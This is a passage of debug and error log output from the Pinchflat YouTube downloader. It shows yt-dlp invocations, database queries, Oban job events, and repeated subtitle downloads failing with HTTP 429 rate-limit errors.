--write-auto-subs --write-subs --convert-subs srt --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Grift/Grift/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --output /downloads/Grift/Grift/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/e0/86/e0860c82ef85109339ffa079fee77955c7c81ac7894999857ad9fa9c8c4bcd49.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 06:22:14.820 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=KYm3sSd_4Ts --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --write-subs --convert-subs srt --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Grift/Grift/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --output /downloads/Grift/Grift/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/e0/86/e0860c82ef85109339ffa079fee77955c7c81ac7894999857ad9fa9c8c4bcd49.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: Unable to download video subtitles for 'en': HTTP Error 429: Too Many Requests 06:22:14.820 [error] yt-dlp download error for media item #150: "ERROR: Unable to download video subtitles for 'en': HTTP Error 429: Too Many Requests\n" 06:22:14.985 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":150},"id":117,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":4644707,"event":"job:exception","queue_time":894351,"attempt":15,"tags":["media_item","media_fetching","show_in_dashboard"]} 06:22:18.720 [info] {"source":"oban","duration":1509,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:22:48.721 [info] {"source":"oban","duration":609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:23:00.743 [info] {"source":"oban","duration":296,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:23:18.723 [info] {"source":"oban","duration":1452,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:23:48.725 [info] {"source":"oban","duration":1506,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:23:51.537 [info] {"args":{"id":51},"id":61,"meta":{},"system_time":1784888631536922016,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":15,"tags":["media_item","media_fetching","show_in_dashboard"]} 06:23:51.538 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=1806.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [51] 06:23:51.538 [info] User scripts lifecyle file either not present or is empty. Skipping. 06:23:51.539 [debug] QUERY OK source="sources" db=0.4ms idle=1807.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 06:23:51.540 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=1367.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:23:51.541 [debug] QUERY OK source="media_items" db=0.4ms idle=174.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [51] 06:23:51.541 [debug] QUERY OK source="media_metadata" db=0.0ms idle=5.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [51] 06:23:51.541 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:23:51.542 [debug] QUERY OK source="settings" db=0.1ms idle=2.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:23:51.542 [debug] Running yt-dlp command for action: get_downloadable_status 06:23:51.542 [debug] QUERY OK source="settings" db=0.0ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:23:51.542 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:23:51.543 [debug] QUERY OK source="settings" db=0.1ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:23:51.543 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=7EKCJlHjJgo --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/20/3d/203de6651f5bfe4e1e63bf4850b7efbb96931d717e3f31ab0de32e8416396a73.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 06:23:53.578 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=7EKCJlHjJgo --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/20/3d/203de6651f5bfe4e1e63bf4850b7efbb96931d717e3f31ab0de32e8416396a73.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 06:23:53.578 [debug] Running yt-dlp command for action: download 06:23:53.578 [debug] QUERY OK source="settings" db=0.1ms idle=847.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:23:53.579 [debug] QUERY OK source="settings" db=0.0ms idle=847.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:23:53.579 [debug] QUERY OK source="settings" db=0.0ms idle=848.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:23:53.579 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=7EKCJlHjJgo --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --write-subs --convert-subs srt --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Classics/Classics/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --output /downloads/Classics/Classics/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/8d/73/8d7315b8ce42fc59d2deb81b92d27c85d1f58005429084cd7565dbf7cab9c0de.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 06:23:58.348 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=7EKCJlHjJgo --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --write-subs --convert-subs srt --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Classics/Classics/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --output /downloads/Classics/Classics/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/8d/73/8d7315b8ce42fc59d2deb81b92d27c85d1f58005429084cd7565dbf7cab9c0de.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: Unable to download video subtitles for 'en': HTTP Error 429: Too Many Requests 06:23:58.348 [error] yt-dlp download error for media item #51: "ERROR: Unable to download video subtitles for 'en': HTTP Error 429: Too Many Requests\n" 06:23:58.496 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":51},"id":61,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":6812071,"event":"job:exception","queue_time":679757,"attempt":15,"tags":["media_item","media_fetching","show_in_dashboard"]} 06:24:00.744 [info] {"source":"oban","duration":477,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:24:18.727 [info] {"source":"oban","duration":1584,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:24:48.728 [info] {"source":"oban","duration":965,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:25:00.745 [info] {"source":"oban","duration":430,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:25:18.731 [info] {"source":"oban","duration":1160,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:25:48.733 [info] {"source":"oban","duration":1565,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:26:00.745 [info] {"source":"oban","duration":213,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:26:18.735 [info] {"source":"oban","duration":1612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:26:48.737 [info] {"source":"oban","duration":1652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:27:00.747 [info] {"source":"oban","duration":466,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:27:18.740 [info] {"source":"oban","duration":1607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:27:48.742 [info] {"source":"oban","duration":1641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:28:00.748 [info] {"source":"oban","duration":505,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:28:18.744 [info] {"source":"oban","duration":1625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:28:46.369 [info] {"args":{"id":21},"id":29,"meta":{},"system_time":1784888926369333167,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":15,"tags":["media_item","media_fetching","show_in_dashboard"]} 06:28:46.370 [debug] QUERY OK source="media_items" db=0.2ms idle=1638.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [21] 06:28:46.370 [info] User scripts lifecyle file either not present or is empty. Skipping. 06:28:46.370 [debug] QUERY OK source="sources" db=0.1ms idle=1639.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 06:28:46.370 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1369.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:28:46.371 [debug] QUERY OK source="media_items" db=0.2ms idle=178.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [21] 06:28:46.371 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [21] 06:28:46.371 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:28:46.372 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:28:46.372 [debug] Running yt-dlp command for action: get_downloadable_status 06:28:46.372 [debug] QUERY OK source="settings" db=0.1ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:28:46.373 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:28:46.373 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:28:46.373 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Ool4gyrJpM0 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/2b/98/2b98924920e1f1c7a4af32b6201cfc1a72879d935f33266e0cd33b20e7e5ed3d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 06:28:48.430 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Ool4gyrJpM0 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/2b/98/2b98924920e1f1c7a4af32b6201cfc1a72879d935f33266e0cd33b20e7e5ed3d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 06:28:48.430 [debug] Running yt-dlp command for action: download 06:28:48.430 [debug] QUERY OK source="settings" db=0.1ms idle=699.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:28:48.431 [debug] QUERY OK source="settings" db=0.1ms idle=700.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:28:48.431 [debug] QUERY OK source="settings" db=0.0ms idle=700.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:28:48.431 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Ool4gyrJpM0 --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --write-subs --convert-subs srt --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Nightcore/Nightcore/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --output /downloads/Nightcore/Nightcore/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/35/14/35140310900cd6d0bfe1ff364ce9398b2efd47eb7e25356eaddbcd691907bf63.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 06:28:48.746 [info] {"source":"oban","duration":850,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:28:51.287 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Ool4gyrJpM0 --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --write-subs --convert-subs srt --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Nightcore/Nightcore/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --output /downloads/Nightcore/Nightcore/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/35/14/35140310900cd6d0bfe1ff364ce9398b2efd47eb7e25356eaddbcd691907bf63.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: Unable to download video subtitles for 'en': HTTP Error 429: Too Many Requests 06:28:51.287 [error] yt-dlp download error for media item #21: "ERROR: Unable to download video subtitles for 'en': HTTP Error 429: Too Many Requests\n" 06:28:51.411 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":21},"id":29,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":4918512,"event":"job:exception","queue_time":299506,"attempt":15,"tags":["media_item","media_fetching","show_in_dashboard"]} 06:29:00.748 [info] {"source":"oban","duration":191,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:29:17.585 [info] {"args":{"id":14},"id":22,"meta":{},"system_time":1784888957585891339,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":15,"tags":["media_item","media_fetching","show_in_dashboard"]} 06:29:17.586 [debug] QUERY OK source="media_items" db=0.2ms idle=855.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [14] 06:29:17.586 [info] User scripts lifecyle file either not present or is empty. Skipping. 06:29:17.586 [debug] QUERY OK source="sources" db=0.1ms idle=855.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 06:29:17.587 [debug] QUERY OK source="media_profiles" db=0.1ms idle=856.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:29:17.587 [debug] QUERY OK source="media_items" db=0.1ms idle=154.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [14] 06:29:17.588 [debug] QUERY OK source="media_metadata" 